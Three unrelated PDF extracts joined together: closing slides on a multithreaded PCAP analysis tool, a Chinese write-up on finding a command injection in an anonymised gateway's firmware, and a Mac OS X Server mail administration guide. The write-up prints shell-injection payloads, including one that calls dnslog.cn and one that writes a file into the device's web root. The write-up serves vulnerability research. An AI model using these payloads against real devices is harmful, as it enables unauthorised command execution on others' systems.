map <int, int> count
map <int, int> tlen
map <int, int> ttl
map <int, int> sport
Reduction by massive threads
Worker Thread
1.LOCK
2.AGGREGATE
❑ Procedures of worker thread are intuitively simple:
1. lock struct _reduced
2. aggregate the members of struct _reduced
3. unlock struct _reduced
3.LOCK
Choice of container
❑ STL + Posix Pthreads: Exposing expose the control of
parallelism at its lowest level. Maximum flexibility, but at a
high cost in terms of hacker's effort (sometimes painful).
❑ Intel TBB: An excellent library for task-based parallelism mainly
for scientific computation. Therefore Input data should be well
structured and organized.
❑ Nvidia Thrust: C++ template library for CUDA based on the
Standard Template Library (STL). Map < > container has not
been implemented yet (as far as I know).
PCAP files are NOT organized in a regular pattern or the parsing
of PCAP files is different or unpredictable for each element in the
stream. So STL + Posix Pthreads is the choice.
Experimental results
# of threads
time
1real 976m46.680s
2real 474m0.328s
500real 287m21.413s
1000real 346m16.257
18G: 76,835,550 packets
with max queue size 1024
- about 5 to 6 hours
# of threads time
200real 877m9.874s
500real 464m42.022s
1000real 493m24.110s
4000real 523m43.533s
18G: 76,835,550 packets
with max queue size 52
- about 7 to 9 hours
Kernel tuning (Ubuntu 16 LTS)
❑ Logical cores N
grep processor /proc/cpuinfo | wc –l
❑ files and procs - /etc/securitly/limits.conf
It should be more than 1024
❑ posix queue size - /etc/security/limits.d
1 minutes Demo
sourceIP
destIP
rare rate
MALWARE
*.*.*.*
*.*.*.*
0.73%
FINGERPRINTING
*.*.*.*
*.*.*.*
2.36%
BRUTE FORCE SSH
*.*.*.*
*.*.*.*
3.23%
NORMAL
*.*.*.*
*.*.*.*
91.95%
Conclusions
❑ Asura is full-scratch (and painful) implementation with POSIX
Pthreads and C++ STL.
❑ Leveraging Pthreads which represents assembly language in
parallelism provides maximum flexibility.
❑ Asura adopts task-based implementation for processing huge,
heterogeneous and unpredictable PCAP file stream.
❑ Asura has thousands lines of code and can process 76,835,550
packets in 200-500 minutes.
Thank you !
https://github.com/RuoAndo/Asura | pdf |
某硬件设备漏洞挖掘之路-Web选手初入"二进
制"
Author: Yuanhai
遵守相关法律法规,本文不会带有任何厂商标识。
0x01:前言
很早之前就有打算开始往二进制方向发展,但由于基础较差,需要花费大
量时间从0开始学习。阅读其他师傅所写的文章受益良多。最有印象的
就是忍者师傅所写的《web选手如何快速卷入二进制世界》。简单的二
进制应用在IDA的伪代码状态下与日常的WEB应用审计流程基本一致。
下面就分享一篇个人初学二进制的挖掘实践。
0x02:正文
此次挖掘的目标系统是一个硬件设备(Web应用网关),通过官方服务中心
拿到了更新的固件包(.BIN文件)。然后使用Binwalk对固件进行提取
python -m binwalk -Me ****.bin
这里使用的是windows环境下的命令
提取出来的文件会放在当前目录下以_(文件名)开头的新建文件夹中
在某个目录下发现了一个 .cpio 文件,大小为 164MB ,( cpio 也属于一种
压缩文件)
在windows下可以使用 7-zip 解压其中的文件。
看见etc,dev等目录大概就明白了这是Unix系统文件。
根据网关默认的页面查找到了Web程序所在的目录。
此目录下仅有一些html页面,以及一些静态资源文件。并没有功能处理
文件。
查看相关配置文件,该网关应用使用 lighttpd + FastCGI 环境搭建。
所有请求都交给 main_req 文件进行处理。程序根目录
为 /var/local/web/htdocs
找到此文件,发现是一个系统执行文件
将其拖入IDA中。由于不太清楚程序架构,搜索带有Login字符的相关处
理方法,使用F5查看伪代码。根据前端传入的参数进行对比。确定最终
的处理方法。
前端传递参数只有 user_name , password , language 三个参数
与 login_req_proc 方法逻辑相同。
到了这里基本流程就和Web中代码审计一致了.相比java中的获取请求
参数方法 request.getParameter 。在图中一眼就可以看出。程序使用
http_parameter_get 获取http协议提交过来的数据。
if ( http_parameter_get("user_name", &src)//获取参数user_name赋
值给src
|| http_parameter_getint("language", &v23)//获取int类型的参
数language赋值给v23
|| http_parameter_get("password", &v24)//获取password参数赋
值给v24
|| v23 >= 2 )
{如果上文有一个参数为空,且v23(language的值大于或等于2时)
resultpage_redirect("/login.html", &unk_4198F8,
&unk_4198F8);
//直接重定向到login.html并返回200
return 200;
}
根据以上流程查找存在使用 http_parameter_get 的方法,确定 sink
在IDA中,单击需要查找的方法,使用快捷键X 依次审计存在使用
http_parameter_get 的事件方法。
通过审计发现并没有一些调用敏感函数的利用点。
比较疑惑?在审计中发现存在调用的方法只有少数,正常的应用程序应该
不只这么点功能。
继续分析,在 xxx_server() 方法中发现了一些其他内容。
应用在启动时,会加载files下的一些模块
而模块中的_display.xml文件中声明了功能路径以及处理方法。 使用
parserMapping对xml中的内容进行处理
如:
<display>
<disp_url>version_save</disp_url>
<template>download.xml</template>
<user_file>system.so</user_file>
<pre_transform>save_pre_translate</pre_transform>
<post_transform>save_post_translate</post_transform>
<transform>save_translate_value</transform>
</display>
disp_url 为该方法的请求路径, template 为返回的响应模板, user_file
为方法所在的程序函数库, transform 为处理路径请求的方法。可以单独
为不同的请求设置不同的处理方法。
在了解相关程序结构后,后续挖掘就更加方便了。
对每一个模块中程序函数库进行审计分析。最终在某一处发现了存在调
用 system() 且参数可控。造成命令执行 。 。
方法中,使用 http_parameter_get 接受参数A,在下方26行,以及41均有
调用 System() 。在24行中, system 方法执行了变量 v13 的内容。而变
量v13的值由 snprintf 格式化变量v8(参数a)的值由来。其中的参数a内
容是可控的。那么就可以构造 payload 。
由于这里使用的sed命令,%s对v8变量的值格式化,拼接内容在单引号之
间,需要加个单引号闭合掉。
payload:
'111''||ping dnslog.cn||
发送http请求,测试dnslog。这类设备基本都是默认路径。尝试在web
目录下写一个txt文件测试。
payload:
'111''||echo 1 > /var/local/web/htdocs/1.txt||'"
完成rce! | pdf |
Mac OS X Server
Mail Service
Administration
For Version 10.3 or Later
034-2349_Cvr 9/12/03 7:28 AM Page 1
K
Apple Computer, Inc.
© 2003 Apple Computer, Inc. All rights reserved.
The owner or authorized user of a valid copy of
Mac OS X Server software may reproduce this
publication for the purpose of learning to use such
software. No part of this publication may be reproduced
or transmitted for commercial purposes, such as selling
copies of this publication or for providing paid for
support services.
The Apple logo is a trademark of Apple Computer, Inc.,
registered in the U.S. and other countries. Use of the
“keyboard” Apple logo (Option-Shift-K) for commercial
purposes without the prior written consent of Apple
may constitute trademark infringement and unfair
competition in violation of federal and state laws.
Apple, the Apple logo, AppleScript, AppleShare,
AppleTalk, ColorSync, FireWire, Keychain, Mac,
Macintosh, Power Macintosh, QuickTime, Sherlock, and
WebObjects are trademarks of Apple Computer, Inc.,
registered in the U.S. and other countries. AirPort,
Extensions Manager, Finder, iMac, and Power Mac are
trademarks of Apple Computer, Inc.
Adobe and PostScript are trademarks of Adobe Systems
Incorporated.
Java and all Java-based trademarks and logos are
trademarks or registered trademarks of Sun
Microsystems, Inc. in the U.S. and other countries.
Netscape Navigator is a trademark of Netscape
Communications Corporation.
RealAudio is a trademark of Progressive Networks, Inc.
1995–2001 The Apache Group. All rights reserved.
UNIX is a registered trademark in the United States and
other countries, licensed exclusively through X/Open
Company, Ltd.
034-2349/8/22/03
LL2349.Book Page 2 Friday, August 22, 2003 2:47 PM
3
1
Contents
Preface
7
How to Use This Guide
7
What’s Included in This Guide
7
Using This Guide
7
Setting Up Mac OS X Server for the First Time
8
Getting Help for Everyday Management Tasks
8
Getting Additional Information
Chapter 1
9
Mail Service Setup
10
Mail Service Protocols
10
Outgoing Mail
10
Incoming Mail
11
User Interaction With Mail Service
12
Where Mail Is Stored
12
Outgoing Mail Location
12
Incoming Mail Location
12
Maximum Number of Mail Messages per Volume
13
What Mail Service Doesn’t Do
13
Using Network Services With Mail Service
14
Configuring DNS for Mail Service
14
How Mail Service Uses SSL
15
Enabling Secure Mail Transport With SSL
15
Before You Begin
15
How User Account Settings Affect Mail Service
16
Moving Mail Messages From Apple Mail Server to Mac OS X Server Version 10.3
16
Overview of Mail Service Tools
16
Setup Overview
19
Configuring Incoming Mail Service
19
Enabling Secure POP Authentication
19
Enabling Less Secure Authentication for POP
20
Configuring SSL Transport for POP Connections
20
Enabling Secure IMAP Authentication
21
Enabling Less Secure IMAP Authentication
21
Controlling the Number of IMAP Connections
LL2349.Book Page 3 Friday, August 22, 2003 2:47 PM
4
Contents
21
Configuring SSL Transport for IMAP Connections
22
Configuring Outgoing Mail Service
22
Enabling Secure SMTP Authentication
23
Enabling Less Secure SMTP Authentication
23
Configuring SSL Transport for SMTP Connections
24
Relaying SMTP Mail Through Another Server
24
Supporting Mail Users
24
Configuring Mail Settings for User Accounts
25
Configuring Email Client Software
26
Creating an Administration Account
26
Creating Additional Email Addresses for a User
27
Setting Up Forwarding Email Addresses for a User
28
Adding or Removing Virtual Domains
29
Limiting Junk Mail
29
Requiring SMTP Authentication
30
Restricting SMTP Relay
31
Rejecting SMTP Connections From Specific Servers
31
Rejecting Mail From Blacklisted Senders
32
Filtering SMTP Connections
Chapter 2
33
Mail Service Maintenance
33
Starting and Stopping Mail Service
34
Reloading Mail Service
34
Changing Protocol Settings for Incoming Mail Service
34
Improving Performance
35
Working With the Mail Store and Database
35
Repairing the Mail Store Database
36
Converting the Mail Store and Database From an Earlier Version
36
Using Amsmailtool
37
Specifying the Location for the Mail Database and Mail Store
37
Backing Up and Restoring Mail Messages
38
Monitoring Mail Messages and Folders
38
Allowing Administrator Access to the Mail Folders
39
Saving Mail Messages for Monitoring and Archival Purposes
39
Monitoring Mail Service
40
Viewing Overall Mail Service Activity
40
Viewing the Mail Connections List
40
Viewing Mail Accounts
40
Viewing Mail Service Logs
41
Setting Mail Service Log Detail Level
41
Archiving Mail Service Logs by Schedule
41
Reclaiming Disk Space Used by Mail Service Log archives
42
Dealing With a Full Disk
LL2349.Book Page 4 Friday, August 22, 2003 2:47 PM
Contents
5
42
Working With Undeliverable Mail
42
Forwarding Undeliverable Incoming Mail
43
Where to Find More Information
43
Books
43
Internet
Chapter 3
45
Mailing Lists
45
Setting Up a List
45
Enabling Mailing Lists
46
Defining a List Name
46
Adding a Subscriber
47
Changing a List
47
Adding a Subscriber to an Existing List
47
Removing a List Subscriber
48
Changing Subscriber Posting Privileges
48
Suspending a Subscriber
49
Administering Lists
49
Designating a List Administrator
49
Where to Find More Information
Glossary
51
Index
55
LL2349.Book Page 5 Friday, August 22, 2003 2:47 PM
LL2349.Book Page 6 Friday, August 22, 2003 2:47 PM
7
Preface
How to Use This Guide
What’s Included in This Guide
This guide explains how to administer Mac OS X Server mail services.
Using This Guide
The first chapter provides an overview of how the mail service works, what it can do for
you, strategies for using it, how to set it up for the first time, and how to administer it
over time.
Also take a look at any chapter that describes a service with which you’re unfamiliar.
You may find that some of the services you haven’t used before can help you run your
network more efficiently and improve performance for your users.
Most chapters end with a section called “Where to Find More Information.” This section
points you to web sites and other reference material containing more information
about the service.
Setting Up Mac OS X Server for the First Time
If you haven’t installed and set up Mac OS X Server, do so now.
•
Refer to
Mac OS X Server Getting Started For Version 10.3 or Later,
the document that
came with your software, for instructions on server installation and setup. For many
environments, this document provides all the information you need to get your
server up, running, and available for initial use.
•
Read specific sections to learn how to continue setting up individual features of mail
service. Pay particular attention to the information in these sections: “Setup
Overview,” “Before You Begin,” and “Setting Up for the First Time.”
LL2349.Book Page 7 Friday, August 22, 2003 2:47 PM
8
Preface
How to Use This Guide
Getting Help for Everyday Management Tasks
If you want to change settings, monitor services, view service logs, or do any other day-
to-day administration task, you can find step-by-step procedures by using the on-
screen help available with server administration programs. While all the administration
tasks are also documented in the second chapter of this guide, sometimes it’s more
convenient to retrieve information in on-screen help form while using your server.
Getting Additional Information
In addition to this document, you’ll find information about Mac OS X Server in:
•
Mac OS X Server Getting Started For Version 10.3 or Later,
which tells you how to install
and set up your server initially
•
Mac OS X Server Migration to Version 10.3 or Later,
which provides instructions for
migrating data to Mac OS X Server from existing Macintosh computers
•
on-screen help on your server
•
Read Me files on your server CD
•
and at www.apple.com/server
LL2349.Book Page 8 Friday, August 22, 2003 2:47 PM
1
9
1
Mail Service Setup
Mail service in Mac OS X Server allows network users to send and receive email over
your network or across the Internet. Mail service sends and receives email using the
standard Internet mail protocols: Internet Message Access Protocol (IMAP), Post Office
Protocol (POP), and Simple Mail Transfer Protocol (SMTP). Mail service also uses a
Domain Name System (DNS) service to determine the destination IP address of
outgoing mail.
This chapter begins with a look at the standard protocols used for sending and
receiving email. Then it explains how mail service works, summarizes the aspects of
mail service setup, and tells you how to:
•
Set up mail service for incoming and outgoing mail
• Support mail users
• Limit junk mail
In
Out
[email protected]
The Internet
[email protected]
In
Mail server for example.com
Mail server for school.edu
Out
LL2349.Book Page 9 Friday, August 22, 2003 2:47 PM
10
Chapter 1 Mail Service Setup
Mail Service Protocols
A standard mail client setup uses SMTP to send outgoing email and POP and IMAP to
receive incoming email. Mac OS X Server includes an SMTP service and a combined
POP and IMAP service. You may find it helpful to take a closer look at the three email
protocols.
Outgoing Mail
Outgoing mail service is the means by which your users can send mail out to the
Internet. Subject to restrictions that you control, the SMTP service also transfers mail to
and from mail service on other servers. If your mail users send messages to another
Internet domain, your SMTP service delivers the outgoing messages to the other
domain’s mail service.
Simple Mail Transfer Protocol (SMTP)
SMTP is a protocol used to send and transfer mail. SMTP queues outgoing mail
messages from the user These messages are transferred along the Internet to their
destinations, to be picked up by the incoming mail protocols.
Mac OS X Server uses Postfix (www.postfix.org) as its mail transfer agent (MTA). Postfix
fully supports the Internet standard SMTP protocol. Your email users will set their email
applications’s outgoing mail server to your Mac OS X Server running Postfix, and access
their own incoming mail from a Mac OS X Server running incoming mail service.
If you choose to use another MTA (such as Sendmail), you won’t be able to configure
your mail service with Mac OS X Server administration tools.
If you want to use the Sendmail program instead of Postfix, you must disable current
SMTP service through Postfix, and then install and configure Sendmail. For more
information about Sendmail, see the web site www.sendmail.org.
Incoming Mail
Mail is transferred from incoming mail storage to the email recipient’s inbox by a local
delivery agent (LDA). The LDA is responsible for handling local delivery, making mail
accessible by the user’s email application. There are two different protocols available
from Mac OS X Server’s mail access agent: POP and IMAP.
Mac OS X Server uses Cyrus (asg.web.cmu.edu/cyrus) to provide POP and IMAP service.
Post Office Protocol (POP)
POP is used only for receiving mail, not for sending mail. The mail service of Mac OS X
Server stores incoming POP mail until users have their computers connect to the mail
service and download their waiting mail. After a user’s computer downloads POP mail,
the mail is stored only on the user’s computer. The user’s computer disconnects from
the mail service, and the user can read, organize, and reply to the received POP mail.
The POP service is like a post office, storing mail and delivering it to a specific address.
LL2349.Book Page 10 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
11
An advantage of using POP is that your server doesn’t need to store mail that users
have downloaded. Therefore, your server doesn’t need as much storage space as it
would using the IMAP protocol. However, because the mail is removed from the server,
if any client computers sustain hard disk damage and lose their mail files, there is no
way to recover these files without using data backups.
Another advantage of POP is that POP connections are transitory. Once the mail is
transferred, the connection is dropped and the load on both the network and the mail
server is removed.
POP is not the best choice for users who access mail from more than one computer,
such as a home computer, an office computer, and a laptop while on the road. When a
user fetches mail via POP, the mail is downloaded to the user’s computer and is usually
completely removed from the server. If the user logs in later from a different computer,
he or she won’t be able to see previously downloaded mail.
Internet Message Access Protocol (IMAP)
IMAP is the solution for people who need to use more than one computer to receive
mail. IMAP is a client-server mail protocol that allows users to access their mail from
anywhere on the Internet. Users can send and read mail with a number of IMAP-
compliant email clients.
With IMAP, a user’s mail is delivered to the server and stored in a remote mailbox on
the server; to users, mail appears as if it were on the local computer. A key difference
between IMAP and POP is that with IMAP the mail is not removed from the server until
the user deletes it.
The IMAP user’s computer can ask the server for message headers, ask for the bodies of
specified messages, or search for messages that meet certain criteria. These messages
are downloaded as the user opens them. IMAP connections are persistent and remain
open, maintaining load on the server and possibly the network as well.
User Interaction With Mail Service
Mail is delivered to its final recipient using a mail user agent (MUA). MUAs are usually
referred to as “email clients” or “email applications.” These email clients often run on
each user’s local computer. Each user’s email application must be configured to send
messages to the correct outgoing server and receive messages from the incoming
server. These configurations can affect your server’s processing load and available
storage space.
LL2349.Book Page 11 Friday, August 22, 2003 2:47 PM
12
Chapter 1 Mail Service Setup
Where Mail Is Stored
Mail is stored in either an outgoing queue awaiting transfer to a remote server or in a
local mail store accessible by local mail users.
Outgoing Mail Location
Outgoing mail messages are stored, by default, in the following spool directory on the
startup disk:
/var/spool/postfix
This location is temporary, and the mail is stored until it’s successfully transferred out to
the Internet. These locations can be moved to any accessible volume (either local or
NFS mounted) and symlinked to by the mail administrator.
Incoming Mail Location
The mail service keeps track of incoming email messages with a small database
(BerekeleyDB.4.1), but the database doesn’t contain the messages themselves. The mail
service stores each message as a separate file in a mail folder for each user. Incoming
mail is stored on the startup disk in the following directory:
/var/spool/imap/[user name]
Cyrus puts a database index file in the folder of user messages. You can change the
location of any or all of the mail folders and database indexes to another folder, disk, or
disk partition. You can even specify a shared volume on another server as the location
of the mail folder and database, although using a shared volume incurs performance
penalties. The incoming mail remains on the server until deleted by an MUA.
Maximum Number of Mail Messages per Volume
Because the mail service stores each email message in a separate file, the number of
messages that can be stored on a volume is determined by the total number of files
that can be stored on the volume.
The total number of files that can be stored on a volume that uses Mac OS Extended
format (sometimes referred to as HFS Plus format) depends on the following factors:
• The size of the volume
• The sizes of the files
• The minimum size of a file, which by default is one 4K block
For example, a 4 GB HFS Plus volume with the default block size of 4KB has one million
available blocks. This volume could hold up to a million 4KB files, which means a
million email messages that were 4KB or less apiece. If some email messages were
larger than 4KB, this volume could hold fewer of them. A larger volume with the same
default block size could hold proportionately more files.
LL2349.Book Page 12 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
13
What Mail Service Doesn’t Do
Mac OS X Server’s mail service does not provide the following mail add-ons:
• Virus filtering
• Unsolicited commercial email (spam) identification
• Email content filtering
Each one of these add-on services can be configured to work with Mac OS X Server’s
mail service and can be obtained from various developers.
Using Network Services With Mail Service
Mail service makes use of network services to ensure delivery of email. Before sending
an email, your mail service will probably have a Domain Name System (DNS) service
determine the Internet Protocol (IP) address of the destination. The DNS service is
necessary because people typically address their outgoing mail by using a domain
name, such as example.com, rather than an IP address, such as 198.162.12.12. To send an
outgoing message, your mail service must know the IP address of the destination. The
mail service relies on a DNS service to look up domain names and determine the
corresponding IP addresses. The DNS service may be provided by your Internet Service
Provider (ISP) or by Mac OS X Server, as explained in the network services
administration guide.
Additionally, an mail exchanger (MX) record can provide redundancy by listing an
alternate mail host for a domain. If the primary mail host is not available, the mail can
be sent to the alternate mail host. In fact, an MX record can list several mail hosts, each
with a priority number. If the lowest priority host is busy, mail can be sent to the host
with the next lowest priority, and so on.
Mail services use DNS like this:
1 The sending server looks at the email recipient’s domain name (it’s what comes after
after the @ in the To address).
2 The sending server looks up the MX record for that domain name to find the receiving
server.
3 If found, the message is sent to the receiving server.
4 If the lookup fails to find an MX record for the domain name, the sending server often
assumes that the receiving server has the exact same name as the domain name. In
this case, the sending server does an Address (A) lookup on that domain name, and
attempts to send the file there.
Without a properly configured MX record in the DNS, mail may not reach your
intended server.
LL2349.Book Page 13 Friday, August 22, 2003 2:47 PM
14
Chapter 1 Mail Service Setup
Configuring DNS for Mail Service
Configuring DNS for mail service is enabling MX records with your own DNS server. If
you have an ISP that provides you with DNS service, you will need to contact the ISP so
that they can enable your MX records. Only follow these steps if you provide your own
DNS Service using Mac OS X Server.
To enable MX records:
1 In Server Admin, select DNS in the Computers & Services pane.
2 Click Settings.
3 Select the Zones tab.
4 Select the Zone you want to use.
5 Click the Add button under the Records pane.
6 Choose MX from the Type pop-up menu.
7 Enter the domain name (like ‘example.com’) in the From field.
8 Enter the name of the mail server (like ‘mail.example.com’) in the To field.
9 If you will have more than one mail server, enter a precedence number for that server.
A lower number indicates that mil server will be chosen first, if available, to receive
mail.
10 Click OK.
If you need to set up multiple servers for redundancy, you will need to add additional
MX records. See the network services administration guide for more information.
How Mail Service Uses SSL
Secure Sockets Layer (SSL) connections ensure that the data sent between your mail
server and your users’ mail clients is encrypted. This allows secure and confidential
transport of mail messages across a local network. SSL transport does not provide
secure authentication, just secure transfer from your mail server to your clients. See the
Open Directory administration guide for secure authentication information.
For incoming mail, the mail service supports secure mail connections with mail client
software that requests them. If a mail client requests an SSL connection, the mail
service can automatically comply, if that option has been enabled. The mail service still
provides non-SSL (unencrypted) connections to clients that don’t request SSL. The
configuration of each mail client determines whether it connects with SSL or not.
For outgoing mail, the mail service supports secure mail connections between SMTP
servers. If an SMTP server requests an SSL connection, the mail service can
automatically comply, if that option has been enabled. The mail service still can allow
non-SSL (unencrypted) connections to mail servers that don’t request SSL.
LL2349.Book Page 14 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
15
Enabling Secure Mail Transport With SSL
The mail service requires some configuration to provide SSL connections automatically.
The basic steps are as follows:
• Generate a Certificate Signing Request (CSR) and create a keychain.
• Use the CSR to obtain an SSL certificate from an issuing authority.
For more information on enabling SSL from the web technologies administration guide
and the Open Directory administration guide.
If you already have generated a certificate in a previous version of Mac OS X Server, it
won’t be compatible with the current mail service.
For detailed instructions for allowing or requiring SSL transport, see the following
sections:
• “Configuring SSL Transport for POP Connections” on page 20
• “Configuring SSL Transport for IMAP Connections” on page 21
• “Configuring SSL Transport for SMTP Connections” on page 23
Before You Begin
Before setting up mail service for the first time:
• Decide whether to use POP, IMAP, or both for incoming mail.
• If your server will provide mail service over the Internet, you need a registered
domain name. You also need to determine whether your ISP will create your MX
records or you will create them in your own DNS service.
• Identify the people who will use your mail service but don’t already have user
accounts in a directory domain accessible to your mail service. You must create user
accounts for these mail users.
• Determine mail storage requirements, and ensure you have enough disk space for
your anticipated mail volume.
• Determine your authentication and transport security needs.
How User Account Settings Affect Mail Service
In addition to setting up mail service as described in this chapter, you can also
configure some mail settings individually for everyone who has a user account on your
server. Each user account has settings that do the following:
• Enable or disable mail service for the user account, or forward incoming mail for the
account to another email address.
• Specify the server that provides mail service for the user account.
• Set a quota on the amount of disk space for storing the user account’s mail on the
server.
• Specify the protocol for the user account’s incoming mail: POP, IMAP, or both.
LL2349.Book Page 15 Friday, August 22, 2003 2:47 PM
16
Chapter 1 Mail Service Setup
Moving Mail Messages From Apple Mail Server to Mac OS X
Server Version 10.3
If you have upgraded your server from a version previous to Mac OS X Server v.10.3, and
you have an existing Apple Mail Server database, you must migrate your mail database
to Mac OS X Server v.10.3 mail service.
For more detailed instructions and tool descriptions, see “Converting the Mail Store
and Database From an Earlier Version” on page 36, and “Using Amsmailtool” on
page 36
Overview of Mail Service Tools
The following applications help you set up and manage mail service:
• Server Admin: Use to start, stop, configure, and monitor mail service when you
install Mac OS X Server.
• Workgroup Manager: Use to create user accounts for email users and configure each
user’s mail options.
• Terminal: Use for tasks that involve UNIX command-line tools, such as migrating and
restoring the mail database.
Setup Overview
You can have mail service set up and started automatically as part of the Mac OS X
Server installation process. An option for setting up mail service appears in the Setup
Assistant application, which runs automatically at the conclusion of the installation
process. If you select this option, mail service is set up as follows:
• SMTP, POP, and IMAP are all active and using standard ports.
• Standard authentication methods are used (not Kerberos), with POP and IMAP set for
clear-text passwords (APOP and CRAM MD-5 turned off) and SMTP authentication
turned off.
• Mail is only delivered locally (no mail sent to the Internet).
• Mail relay is restricted.
LL2349.Book Page 16 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
17
If you want to change this basic configuration, or if you have not set up your mail
service, these are the major tasks you perform to set up mail service:
Step 1: Before you begin, make a plan
See “Before You Begin” on page 15 for a list of items to think about before you start full-
scale mail service.
Step 2: Set up MX records
If you want users to be able to send and receive mail over the Internet, you should
make sure DNS service is set up with the appropriate MX records for your mail service.
• If you have an ISP that provides DNS service to your network, contact the ISP and
have the ISP set up MX records for you. Your ISP will need to know your mail server’s
DNS name (such as mail.example.com) and your server’s IP address.
• If you use Mac OS X Server to provide DNS service, create your own MX records as
described in “Configuring DNS for Mail Service” on page 14.
• If you do not set up an MX record for your mail server, your server may still be able to
exchange mail with some other mail servers. Some mail servers will find your mail
server by looking in DNS for your server’s A record. (You probably have an A record if
you have a web server set up.)
Note: Your mail users can send mail to each other even if you do not set up MX
records. Local mail service doesn’t require MX records.
Step 3: Configure incoming mail service
Your mail service has many settings that determine how it handles incoming mail. for
instructions, see “Configuring Incoming Mail Service” on page 19.
Step 4: Configure outgoing mail service
Your mail service also has many settings that determine how it handles outgoing mail.
For instructions, see “Configuring Outgoing Mail Service” on page 22.
Step 5: Secure your server
If your server exchanges mail with the rest of the Internet, make sure you’re not
operating an open relay. An open relay is a security risk and enables junk-mail senders
(spammers) to use your computer resources for sending unsolicited commercial email.
For instructions see “Limiting Junk Mail” on page 29, and “Restricting SMTP Relay” on
page 30.
Step 6: Configure additional settings for mail service
Additional settings that you can change affect how mail service stores mail, interacts
with DNS service, limits junk-mail (spam), and handles undeliverable mail. See the
following sections for detailed instructions:
• “Working With the Mail Store and Database” on page 35
• “Limiting Junk Mail” on page 29
• “Working With Undeliverable Mail” on page 42
LL2349.Book Page 17 Friday, August 22, 2003 2:47 PM
18
Chapter 1 Mail Service Setup
Step 7: Set up accounts for mail users
Each person who wants mail service must have a user account in a directory domain
accessible by your mail service. The short name of the user account is the mail account
name and is used to form the user’s mail address. In addition, each user account has
settings that determine how your mail service handles mail for the user account. You
can configure a user’s mail settings when you create the user’s account, and you can
change an existing user’s mail settings at any time. For instructions, see “Supporting
Mail Users” on page 24, and “Configuring Email Client Software” on page 25
Step 8: Create a postmaster account (optional, but advised)
You need to create a user account named “postmaster.” The mail service may send
reports to the postmaster account. When you create the postmaster account, make
sure mail service is enabled for it. For convenience, you can set up forwarding of the
postmaster’s mail to another mail account that you check regularly. Other common
postmaster accounts are named “abuse” (used to report abuses of your mail service)
and “spam” (used to report unsolicited commercial email abuses by your users). The
user management guide tells you how to create user accounts.
Step 9: Start mail service
Before starting mail service, make sure the server computer shows the correct day,
time, time zone, and daylight-saving settings in the Date & Time pane of System
Preferences. Mail service uses this information to timestamp each message. An
incorrect timestamp may cause other mail servers to handle a message incorrectly.
Also, make sure you’ve enabled one or more of the mail service protocols (SMTP, POP,
or IMAP) in the Settings pane.
Once you’ve verified this information, you can start mail service. If you selected the
Server Assistant option to have mail service started automatically, stop mail service
now, and then start it again for your changes to take effect. For detailed instructions,
see “Starting and Stopping Mail Service” on page 33.
Step 10: Set up each user’s mail client software
After you set up mail service on your server, mail users must configure their mail client
software for your mail service. For details about the facts that users need when
configuring their mail client software, see “Supporting Mail Users” on page 24.
LL2349.Book Page 18 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
19
Configuring Incoming Mail Service
The mail service has settings for requiring various authentication methods for POP and
IMAP connections, as well as data transport over SSL.
Enabling Secure POP Authentication
Your POP mail service can protect users’ passwords by allowing Authenticated POP
(APOP), or Kerberos. When a user connects with APOP or Kerberos, the user’s mail client
software encrypts the user’s password before sending it to your POP service. Before
configuring your mail service to require secure authentication, make sure that your
users’ email applications and user accounts support the method of authentication you
choose.
Before enabling Kerberos authentication for incoming mail service, you must integrate
Mac OS X with a Kerberos server. If you’re using Mac OS X Server for Kerberos
authentication, this is already done for you. For instructions, see the Open Directory
administration guide.
If you want to require either of these authentication methods, then enable only the
one.
To set the POP authentication method:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Check APOP, or Kerberos (as desired) in the POP3 list.
5 Click Save.
Enabling Less Secure Authentication for POP
You can choose to allow basic password (clear text) authentication. This is considered
to be less secure than APOP or Kerberos because the password itself is transmitted as
unencrypted, clear text.
If you want to require clear text authentication, then enable Clear as the only
authentication method.
To enable clear text POP authentication:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Check Clear
5 Click Save.
The default setting is 32, and the maximum is 300.
LL2349.Book Page 19 Friday, August 22, 2003 2:47 PM
20
Chapter 1 Mail Service Setup
Configuring SSL Transport for POP Connections
SSL transport enables mail transmitted over the network to be securely encrypted. You
can choose to Require, Use, or Don’t Use SSL for POP (and IMAP) connections. Before
using SSL connections, you must have a security certificate for mail use. See the Open
Directory administration guide for more information on enabling SSL.
Setting SSL transport for POP also sets it for IMAP.
To set SSL transport for POP connections:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Select Require, Use, or Don’t Use (as desired) in the IMAP and POP SSL section.
5 Click Save.
Enabling Secure IMAP Authentication
Your IMAP mail service can protect users’ passwords by requiring that connections use
a secure method of authentication. You can choose CRAM MD-5, or Kerberos v5
authentication. When a user connects with secure authentication, the user’s mail client
software encrypts the user’s password before sending it to your IMAP service. Make
sure that your users’ email applications and user accounts support the method of
authentication you choose.
If you configure your mail service to require CRAM MD-5, mail users’ accounts must be
set to use a Password Server that has CRAM MD-5 enabled. For information, see the
Open Directory administration guide.
Before enabling Kerberos authentication for incoming mail service, you must integrate
Mac OS X with a Kerberos server. If you are using Mac OS X Server for Kerberos
authentication, this is already done for you. For instructions, see the Open Directory
administration guide.
To set secure IMAP authentication:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Select CRAM MD-5 or Kerberos (as desired) in the IMAP section.
5 Click Save.
LL2349.Book Page 20 Friday, August 22, 2003 2:47 PM
Chapter 1 Mail Service Setup
21
Enabling Less Secure IMAP Authentication
Your IMAP mail service can supply users’ passwords by less secure means. These
authentication methods are less secure because they don’t securely encrypt your users’
passwords as they cross the network.
To allow login, plain, or clear IMAP authentication:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the Advanced tab.
4 Check LOGIN, PLAIN, or Clear in the IMAP list.
Controlling the Number of IMAP Connections
You can adjust the load put on your server by limiting the number of concurrent IMAP
connections.
To limit IMAP connections:
1 In Server Admin, select Mail in the Computers & Services pane.
2 Click Settings.
3 Select the General tab.
4 Click Enable IMAP, if it isn’t already checked.
5 Enter the number of concurrent connections you want to allow, then click Save.
The default setting is 32, and the maximum is 300.
